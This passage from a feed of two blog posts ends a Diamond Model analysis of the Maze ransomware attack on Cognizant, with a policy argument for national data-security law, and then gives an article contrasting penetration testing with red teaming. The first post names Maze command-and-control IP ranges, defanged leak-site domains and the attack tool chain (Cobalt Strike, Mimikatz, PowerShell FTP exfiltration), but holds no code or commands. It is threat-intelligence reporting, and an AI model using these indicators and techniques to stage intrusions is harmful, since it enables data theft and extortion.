success. Maze, unlike its predecessors, added the elements of exfiltration and extortion (Arntz 2020). The exfiltration of plaintext data allowed the group to blackmail their victims into paying the ransom demanded under the threat of releasing the private data publicly. This extortion tactic paid dividends as it removed the option for non-payment as the cost of non-payment may ruin the victim organization’s reputation beyond repair.</p><h3>Extent of the problem</h3><p>The Maze ransomware variant affected many people. The people involved include large corporations, the employees of those large corporations, their investors, and the citizens whose data became the product consumed by the Maze Gang. Public news announced that one victim corporation was known as Southwire, a wire and cable manufacturer, had a 6-million-dollar ransom demanded (Sheridan 2020) while another anonymous company had 15 million demanded (Whittaker 2020). Cognizant estimates a $50 — $70 million loss as the attack has them paying a ransom, investigation services, legal expenses, restoration, and remediation costs (Cimpanu 2020). Cognizant’s investors have likely been startled, causing expected investment losses, which are probably figured into the estimation, as the corporate entity is publicly traded in the stock exchange. Many customers of Cognizant have revoked access to their networks (Javier 2020); thus, Cognizant cannot, at least temporarily, service those customers.</p><h3>Applying the Diamond Model</h3><h3>Adversary</h3><p>The adversary operator and adversary customer, in this case, are the same, the Maze Gang. The Maze Gang is an anonymous underground criminal operation. The adversary has developed a well-known form of ransomware coined, “Maze Ransomware.” The adversary’s intent is financial as they hold victim data for ransom money under threat of extortion.</p><h3>Victim</h3><p>Cognizant is a Fortune 500 Managed Service Provider with 283,100 employees and revenue of $16.8 billion in 2019 as touted by cognizant.com. Cognizant is a worldwide operation with customers all over the globe. Cognizant publicly disclosed their Maze ransomware incident on April 18, 2020 (Culafi 2020).</p><h3>Capability</h3><p>The Maze Gang has many capabilities, including their custom-developed advanced Maze ransomware. They have exercised spam and spear-phishing coupled with Microsoft Word documents containing malicious macros to trigger the installation of their Maze ransomware. The use of remote access trojan, Cobalt Strike Beacons, have been identified across multiple victims. The use of exploit kits, including Fallout EK and Spelevo EK, have been used to gain initial footholds on victim networks (Kennelly 2020). PowerShell scripts have been used to transfer victim data via FTP. The Maze Gang has published collected victim records on their website <a href="http://mazenews[.]top.">http://mazenews[.]top.</a> The Gang’s command and control were hosted behind many IP addresses; many were Lithuanian and Russian, as can be referenced in this paper’s <a href="#_Infrastructure">Infrastructure</a> section. The Maze Gang has shown to use Cobalt Strike Beacons and Meterpreter agents, which indicate that the C2 infrastructure at a minimum contains a Metasploit server and a Cobalt Strike server.</p><h3>Infrastructure</h3><p>The Maze infrastructure contains an FTP server for data exfiltration purposes. Command and control callbacks have been witnessed by many sources reaching out to many Russian IP addresses included in the following ranges: 91.218.114.11/32, 91.218.114.12/30, 91.218.114.16/29, and 91.218.114.24/31 (Kennelly 2020). These addresses may be nothing more than proxies and a tactic to misdirect researchers or deter law enforcement agencies. The Gang controls several domains as well, including mazenews[.]top, newsmaze[.]top, and mazedecrypt[.]top (Kennelly 2020), where the group publicly posted data of victims that did not pay the ransom (Schwartz 2020). These domains were active in Ireland, running web servers within World Hosting Farm Limited, which inadvertently hosted the Maze Operation’s web front (Schwartz 2020).</p><h3>Technology Meta-Feature</h3><p>Cybersecurity research groups have discovered technologies frequently paired with Maze ransomware. Known precursors to Maze ransomware include the use of Meterpreter (RAT), Cobalt Strike’s Beacon (RAT), Mimikatz (a tool frequented to steal credentials), Bloodhound (for mapping the shortest path to domain administrator), encoded PowerShell scripts executed for malicious downloads as well as FTP file exfiltration, and batch scripts for large scale deployment of the Maze ransomware across a Window’s domain (Kennelly 2020). Once the precursor activities have been completed and the Maze ransomware is installed, critical data is encrypted, and a ransom letter is left in every directory possible with the file name “DECRYPT-FILES.txt” (Walter 2020). The ransom letter contains instructions on how to pay the ransom along with a threat to release stolen data publicly if payment is not received.</p><p>These attack tools are ubiquitous for both white hat hackers known as Penetration Testers and Red Team Operators for legitimate testing purposes. As such, creating indicators of compromise in defensive toolings such as Intrusion Detection Systems, Advanced Endpoint Threat Detection tools, and even antivirus solutions are relatively trivial and, in most cases, already exist. The fact that Cognizant did not detect the activity before losing customer and employee PII is a testament to how neglectful they have been with their internal Cybersecurity operation expenditures. Suppose Cognizant (and other victims) had proper security in place, IoCs could have been implemented to detect or even prevent many malicious precursor activities; thus, they could have actively booted the attackers off their network(s).</p><h3>Social-Political Meta-Feature</h3><p>The victim organization in this campaign provided the adversary the product of customer and employee personally identifiable information (PII). The adversary’s intent was financially motivated with the purpose of economic espionage, extortion, and public shaming. The adversary pulled off a “smash and grab” operation. They stole the victim’s valuable data, encrypted their file systems, and proceeded to extort the victim for money, threatening to release the data publicly. The approach establishes the adversary as non-persistent and can be marked as “Fleeting” on the persistence spectrum. The extortion technique prevents the victim from simply restoring their systems from backups to avoid the ransom. Cognizant could have chosen not to pay the ransom. The cost to Cognizant would then have been private data public disclosure, which would have scarred its identity, and its clients as well as investors’ confidence. Thus, breaking these trust relationships would ultimately lead to losing current and future customers and current and future investments in the organization.</p><h3>Diamond Model Diagram</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*eLfkSIlZ4uzXx2LDzcvYew.png" /></figure><h3>Policy Assessment</h3><p>To best address the imminent threat of ransomware attacks such as Maze, it would be best approached from a policy perspective of layer 9, the national layer. The problem is a Nationwide issue and is not specific to any single organization, so it should be handled at the National level. The national-level civil rights approach is best because citizen data privacy is of the utmost importance. Any organization that wants to have the privilege of storing valuable private citizen data should also be forced to protect it heavily. Market failure for Cyber Security is prevalent where many organizations, including Cognizant, do not adequately defend customer data. When organizations face the cost of securing customer data, the incentives are low. The price of a data breach is difficult to quantify. The likelihood of becoming a victim is equally a mystery to most organizations. The cost-benefit analysis to justify expenditures on expensive experienced Cyber Security personnel and costly security tooling is often non-existent. Without specific risk details and given such a high cost of defensive measures, it is easy to see how this strongly discourages organizations from readily adopting protections to secure citizen and customer data appropriately. While some publicly disclosed meta-level reports do come out sporadically from various sources concerning the cost of Cyber breaches, it appears that decision-makers at the organizational level can’t help but have some degree of cognitive dissonance. In other words, “Why should our organization bare the cost of these security measures when it is possible that we are never attacked?” Many organizations have the misconception that they can use legal action to threaten attackers and intimidate them, thus thwarting attacks and data leaks. Other organizations believe they can set aside enough money to account for losses as an operational expense that can then be mitigated by purchasing Cyber Liability insurance alone. When left to the organization, the decision for securing citizen data is a cost analysis. When under a profit-driven capitalist economic model, an inherent conflict exists between reducing expenses to raise profits and data security’s optional expense.</p><h3>Conclusion</h3><p>Companies do not adopt healthy security postures to protect their customer and employee data because it is a sizeable and currently optional expense — the evolution of ransomware trending towards Ransomware-as-a-Service (Keijzer 2020, 106–108) virtually guarantees that it will continue to propagate at alarming rates. The extensive cost of Maze-like ransomware will continue to be paid by corporations, stockholders, employees, and citizens until National layer action is taken. The Diamond model analysis provided laid out the components of the incident. If the government operating at the national societal layer passed a law to enforce compliance with minimum data security standards concerning citizen data, this would remove the inter-organizational struggle to justify the cost and force it to become a cost of doing business-specific nation. In addition to putting a law in place, a third-party compliance agency or agencies should be established to certify each organization’s compliance. A law is likely the only way to force all industries to protect citizen and customer data sufficiently. Without a dis-incentive for non-compliance, there is no way to ensure that citizen PII will be secured appropriately.</p><p>If you like my content and the work I have provided here please consider sending some coffee love my way @ <a href="https://www.buymeacoffee.com/killbit">https://www.buymeacoffee.com/killbit</a></p><h3>References</h3><p>3/29/2020, Jeff Petters Updated: 2020. “CryptoLocker: Everything You Need to Know.” <em>Inside Out Security</em>. March 30. <a href="https://www.varonis.com/blog/cryptolocker/">https://www.varonis.com/blog/cryptolocker/.</a></p><p>6/19/2020, Kieran Laffan Updated: 2020. “A Brief History of Ransomware.” <em>Inside Out Security</em>. June 20. <a href="https://www.varonis.com/blog/a-brief-history-of-ransomware/">https://www.varonis.com/blog/a-brief-history-of-ransomware/.</a></p><p>Arntz, Pieter. 2020. “Maze: the Ransomware That Introduced an Extra Twist.” <em>Malwarebytes Labs</em>. May 28. <a href="https://blog.malwarebytes.com/threat-spotlight/2020/05/maze-the-ransomware-that-introduced-an-extra-twist/">https://blog.malwarebytes.com/threat-spotlight/2020/05/maze-the-ransomware-that-introduced-an-extra-twist/.</a></p><p>Cimpanu, Catalin. 2020. “Cognizant Expects to Lose between $50m and $70m Following Ransomware Attack.” <em>ZDNet</em>. ZDNet. May 8. <a href="https://www.zdnet.com/article/cognizant-expects-to-lose-between-50m-and-70m-following-ransomware-attack/">https://www.zdnet.com/article/cognizant-expects-to-lose-between-50m-and-70m-following-ransomware-attack/.</a></p><p>Columbus, Louis. 2019. “Shadow IT Is The Cybersecurity Threat That Keeps Giving All Year Long.” <em>Forbes</em>. Forbes Magazine. December 15. <a href="https://www.forbes.com/sites/louiscolumbus/2019/12/15/shadow-it-is-the-cybersecurity-threat-that-keeps-giving-all-year-long/?sh=10d90c8e5561.">https://www.forbes.com/sites/louiscolumbus/2019/12/15/shadow-it-is-the-cybersecurity-threat-that-keeps-giving-all-year-long/?sh=10d90c8e5561.</a></p><p>Cook, Sam. 2020. “50+ Ransomware Statistics &amp; Facts for 2018–2020.” <em>Comparitech</em>. November 16. <a href="https://www.comparitech.com/antivirus/ransomware-statistics/">https://www.comparitech.com/antivirus/ransomware-statistics/.</a></p><p>Culafi, Alexander. 2020. “Cognizant Discloses Maze Ransomware Attack.” <em>SearchSecurity</em>. TechTarget. April 20. <a href="https://searchsecurity.techtarget.com/news/252481892/Cognizant-discloses-Maze-ransomware-attack.">https://searchsecurity.techtarget.com/news/252481892/Cognizant-discloses-Maze-ransomware-attack.</a></p><p>Groot, Juliana De. 2020. “A History of Ransomware Attacks: The Biggest and Worst Ransomware Attacks of All Time.” <em>Digital Guardian</em>. October 6. <a href="https://digitalguardian.com/blog/history-ransomware-attacks-biggest-and-worst-ransomware-attacks-all-time.">https://digitalguardian.com/blog/history-ransomware-attacks-biggest-and-worst-ransomware-attacks-all-time.</a></p><p>Hartwig, Chris. 2016. “Ransomware Variant Won’t Decrypt Files After Ransom Paid.” <em>WatchPoint Security Blog</em>. July 27. <a href="https://blog.getcryptostopper.com/ransomware-variant-wont-decrypt-files-after-ransom-paid.">https://blog.getcryptostopper.com/ransomware-variant-wont-decrypt-files-after-ransom-paid.</a></p><p>Cybersecurity, and HHS Cybersecurity Program. 2020. <em>Maze Ransomware</em>. Vol. 202006041030. Washington DC, VA: HHS.</p><p>Javier, Rozelle Alyssa. 2020. “Cyber Insurers Brace for Payout after Cognizant Breach — Insurance Insider.” <em>Cyber Insurers Brace for Payout after Cognizant Breach — Insurance Insider | S&amp;P Global Market Intelligence</em>. July 14. <a href="https://www.spglobal.com/marketintelligence/en/news-insights/latest-news-headlines/cyber-insurers-brace-for-payout-after-cognizant-breach-8211-insurance-insider-59413789.">https://www.spglobal.com/marketintelligence/en/news-insights/latest-news-headlines/cyber-insurers-brace-for-payout-after-cognizant-breach-8211-insurance-insider-59413789.</a></p><p>Keijzer, Noel. 2020. “The New Generation of Ransomware — An in Depth Study of Ransomware-as-a-Service.” <em>University of Twente</em>. June 25. <a href="http://essay.utwente.nl/81595/1/Keijzer_MA_EEMCS.pdf.">http://essay.utwente.nl/81595/1/Keijzer_MA_EEMCS.pdf.</a></p><p>Kennelly, Jeremy. 2020. “Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents.” <em>FireEye</em>. May 7. <a href="https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html.">https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html.</a></p><p>O’Neill, Patrick Howell. 2020. “Ransomware May Have Cost the US More than $7.5 Billion in 2019.” <em>MIT Technology Review</em>. MIT Technology Review. April 2. <a href="https://www.technologyreview.com/2020/01/02/131035/ransomware-may-have-cost-the-us-more-than-75-billion-in-2019.">https://www.technologyreview.com/2020/01/02/131035/ransomware-may-have-cost-the-us-more-than-75-billion-in-2019.</a></p><p>Schwartz, Mathew J. 2020. “Maze Ransomware Victim Sues Anonymous Attackers.” <em>Bank Cybersecurity</em>. January 3. <a href="https://www.bankinfosecurity.com/maze-ransomware-victim-sues-anonymous-attackers-a-13574.">https://www.bankinfosecurity.com/maze-ransomware-victim-sues-anonymous-attackers-a-13574.</a></p><p>Sheridan, Kelly. 2020. “Ransomware Victim Southwire Sues Maze Operators.” <em>Dark Reading</em>. Dark Reading. January 3. <a href="https://www.darkreading.com/threat-intelligence/ransomware-victim-southwire-sues-maze-operators/d/d-id/1336719.">https://www.darkreading.com/threat-intelligence/ransomware-victim-southwire-sues-maze-operators/d/d-id/1336719.</a></p><p>Siegel, Bill. 2020. “Q3 Ransomware Demands Rise: Maze Sunsets &amp; Ryuk Returns.” <em>Coveware</em>. Coveware: Ransomware Recovery First Responders. November 4. <a href="https://www.coveware.com/blog/q3-2020-ransomware-marketplace-report.">https://www.coveware.com/blog/q3-2020-ransomware-marketplace-report.</a></p><p>Walter, Jim. 2020. “Maze Ransomware Update: Extorting and Exposing Victims.” <em>SentinelLabs</em>. August 6. <a href="https://labs.sentinelone.com/maze-ransomware-update-extorting-and-exposing-victims/">https://labs.sentinelone.com/maze-ransomware-update-extorting-and-exposing-victims/.</a></p><p>Whittaker, Zack. 2020. “Maze, a Notorious Ransomware Group, Says It’s Shutting Down.” <em>TechCrunch</em>. TechCrunch. November 2. <a href="https://techcrunch.com/2020/11/02/maze-ransomware-group-shutting-down/">https://techcrunch.com/2020/11/02/maze-ransomware-group-shutting-down/.</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=498f01bd723f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/swlh/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f">Applying the Diamond Model to Cognizant (MSP) and Maze Ransomware and a Policy Assessment</a> was originally published in <a href="https://medium.com/swlh">The Startup</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Penetration Testing vs. Red Teaming]]></title>
            <link>https://medium.com/swlh/penetration-testing-vs-red-teaming-deba1b162870?source=rss-4d97b33af8c2------2</link>
            <guid isPermaLink="false">https://medium.com/p/deba1b162870</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[red-teaming]]></category>
            <dc:creator><![CDATA[Killbit]]></dc:creator>
            <pubDate>Wed, 09 Dec 2020 21:06:09 GMT</pubDate>
            <atom:updated>2021-06-08T14:26:12.044Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this article, we will review the difference and distinctions between Pen Testing and Red Teaming. Terminology in the world of Cyber Security can be daunting even for the gifted. Trying to chug the waterfall of acronyms can make one’s brain feel as though it could explode. There is no wonder why confusion exists around Cyber Security and the meaning of words in relation. One of the more critical misunderstandings around offensive security, in my opinion, is the often-dubious use of the term “Red Team.” The name is often used in the colloquial sense to mean “any Cyber offense role,” bundling together and ignoring the very distinct nuances that make the roles different. How many Cyber positions could fall under such a categorization with differing specializations? There are Vulnerability Management Testers, Web Application Penetration Testers, Network Security Penetration Testers, Code Application Testers, Mobile Application Testers, and Red Teamers, to name the ones that come to mind. Though the list might be pedantic, dull, or even prosaic, one might argue that we should simplify and say the roles should be bundled up into three major categories: Vulnerability Management, Penetration Testing, and most importantly (IMO) Red Teaming. I could not contest the idea of such role simplification for discussion purposes.</p><p>Without digging into the details too far, Vulnerability Management folks scan networks and web applications for any vulnerabilities that can be identified no matter their validity. Vulnerability scanning is often misconstrued as Pen Testing, especially where marketing is concerned. These are not the same activities though there is some overlap concerning tooling. These differences detract from the main topic, and as such, I will leave it at that. Here is a graphic to help wrap the mind around the scope and depth of different job functions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*WnTFcZ_8i2dDvXoy5bUHWQ.png" /><figcaption>Figure 1 Image borrowed and modified<a href="#_ftn1"><strong>[1]</strong></a></figcaption></figure><p>Another way of viewing the three significant overlapping categories could be done in military-like flavors. Vulnerability scanning is akin to firing thousands of bullets from a mounted machine gun to see what hits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*Qj9GgXaJ6HVmbT4YopdmNA.png" /></figure><h3>What is Pen Testing?</h3><p>“A penetration test, also known as a pen test, is a simulated cyber-attack against your computer system to check for exploitable vulnerabilities”<a href="#_ftn2">[2]</a>. Pen Testers are akin to a Tactical Ops team. Pen Testers go a step further than vulnerability scanning. They run around in tactical gear using night vision goggles to see what is otherwise hidden, rifles with various settings (three-round bursts, lasers, grenade launchers), and other such gadgets to validate vulnerabilities via active exploitation. They are deployed to determine if any holes in the enemy defenses can be successfully infiltrated. Pen Testers will typically be up-to-date on the latest and most remarkable exploits along with the discovery methods for those vulnerabilities. Pen Testers are highly skilled specialists, and generally, they are more interested in the subtler depths of specific tools and what they yield. They are usually not concerned with being covert as they are under tight deadlines set during scoping activities of the engagements to which they are assigned. These tight deadlines are often the result of one if not all of the following: customer budgets, non-technical project managers responsible for the scoping process, and customer compliance drop-dead dates. Pen Testers use various techniques to uncover vulnerabilities, including automated enumeration techniques like vulnerability scanners and directory busters. Also, many Pen Testers will execute brute forcers against reachable applications, including HTTP(S) web apps authentication portals, FTP, SMB, SNMP, and DNS (to name a subset). Brute forcing activities, even when customized, are notoriously noisy, and assuming their victims have a relatively decent degree of Cyber maturity, they will be detected quickly. Another thing worth note here is that Pen Test operations are usually required to notify their customer’s requested contacts before they begin offensive activities. These notifications put defense teams on high alert and remove the opportunity to determine the customer’s defensive operations’ efficacy.</p><h3>What is Red Teaming?</h3><p>A red team or red cell is a group of hackers with varying backgrounds, that test the assumption of an organization’s digital presence and the blue team’s threat response activity <a href="#_ftn3">[3]</a>. Red Teaming is a goal or objective-based operation conducted against a target to evaluate an organization’s technical defenses and incident response capabilities when subjected to real-world attacks. Red Teaming is the process of using tactics, techniques, and procedures (TTP) to emulate real-world threat actors with the goal of training and measuring the effectiveness of people, processes, and technology used to defend an environment <a href="#_ftn4">[4]</a>. Red Teamers are akin to strategic snipers. They emulate known adversaries from public, and private threat intelligence feeds, news sources, and blogs. They don’t care about all possible entry vectors but instead focus on vectors that real-life threat actors favor when surveying the threatscape. Red Team snipers crawl around in ghillie suits, biding their time. They spend long efforts staring through powerful scopes gathering intel. Red Teams tediously map out victim headquarters and associated defensive measures. Operators meticulously note who and what is frequenting the target location while keeping logs for reference. They revel in identifying high-value targets and developing detailed roadmaps accounting for each possible failed step along the way to their goal. Accounting for hiccups along the pre-charted path allows them to acquire and exfiltrate high-value victim assets with great precision. Red Teams help distinguish the difference between what is possible vs. what is actively happening in the wild — this distinction aids in determining if your organization is at risk of such adversaries.</p><h3>The differences between Pen Testing and Red Teaming</h3><p>Now for the main event, Pen Testing vs. Red Teaming. Is there a difference? It may already have become clear from reading above, but Pen Testing and Red Teaming fulfill different functions and, as a result, produce different values as a result. Pen Testing validates the assertions made by vulnerability scan operations. Pen Testers are looking for any path to Domain Administrator within more narrowly scoped engagements than Red Teams. One might say Pen Testers are placed more closely to the enemy defenses, thus forcing them to narrow their view of the potential attack surface. As a result, Pen Tests are more operational than strategic as the scope is pointed. For example, a Pen Test engagement might be narrowed down to a single network subnet or a single web application.</p><p>One might say the narrow scoping gives the Pen Testers tunnel vision in a sense. This thin scoping stands in stark contrast to what Red Team Operators can exercise. Red Team Operations can be scoped broadly to contain many websites, networks, human targets, phishing, spear-phishing, vishing, and physical assessments with malicious device implants. Penetration tests focus on exploits to help determine business risk. Per the “Red Team Development Operations: A Practical Guide,” it is common for a penetration test to explore a wide range of vulnerabilities to discover their risks. During a Red Team engagement, flaws will be exploited only to the degree needed to achieve the goals or objectives. Red Team operators are rarely focused on domain administrator-level access unless such access is necessary to their established goals and objectives. Red Teams are not typically focused on DA accounts because they are in line with mimicking adversaries who are more often concerned with finding and exfiltrating data that can be monetized. Besides, Red Teams do not initialize vulnerability scanners as this is a noisy approach and would unmask their covert operation. Instead, they move more slowly, often looking for opportunities to abuse flaws, weaknesses, misconfigurations, and over-privileged user accounts. Also, they will often chain together many of the aforementioned items to exploit a system only in an attempt to achieve their objectives. Red Teams take on adversarial personas with little to no notification given to the target organization. They also work directly with Blue Team Operations in Purple team efforts to develop IoCs, alerts, and blocking techniques for undetected attacks during previous red team ops. The secondary Purple function provided by the Red Team help refine alerting, blocking, and tackling people process and technologies that cannot be derived from Pen Testing Ops alone.</p><h3>Conclusion</h3><p>From the differences to similarities, Red Teams and Pen Test Teams both provide substantial value to organizations. The value provided by Pen Testing is an effective “vulnerability scan plus.” Pen Testing adds active exploitation to the mix with more specific and pointed activities. These activities uncover the exploitability of vulnerabilities that allow them to kick down your digital doors and find a path to take over the domain. In contrast, Red Team’s value-add is more refined and threat actor category-specific. These threat actors’ specific actions are broadly scoped to be as realistic as possible and verify if your organization can stave off varying degrees of sophisticated adversaries (Hobbyists, Hacktivists, State-Sponsored), helping to appropriately measure organization risk more effectively.</p><p>If you like my content and the work I have provided here please consider sending some coffee love my way @ <a href="https://www.buymeacoffee.com/killbit">https://www.buymeacoffee.com/killbit</a></p><p><a href="#_ftnref1">[1]</a> <a href="https://redteam.guide/docs/concepts/red-vs-pen-vs-vuln/">https://redteam.guide/docs/concepts/red-vs-pen-vs-vuln/</a></p><p><a href="#_ftnref2">[2]</a> <a href="https://www.imperva.com/learn/application-security/penetration-testing/">https://www.imperva.com/learn/application-security/penetration-testing/</a></p><p><a href="#_ftnref3">[3]</a> <a href="https://en.wikipedia.org/wiki/Red_team">https://en.wikipedia.org/wiki/Red_team</a></p><p><a href="#_ftnref4">[4]</a> <a href="https://redteam.guide/docs/concepts/red-vs-pen-vs-vuln/">https://redteam.guide/docs/concepts/red-vs-pen-vs-vuln/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=deba1b162870" width="1" height="1" alt=""><hr><p><a href="https://medium.com/swlh/penetration-testing-vs-red-teaming-deba1b162870">Penetration Testing vs. Red Teaming</a> was originally published in <a href="https://medium.com/swlh">The Startup</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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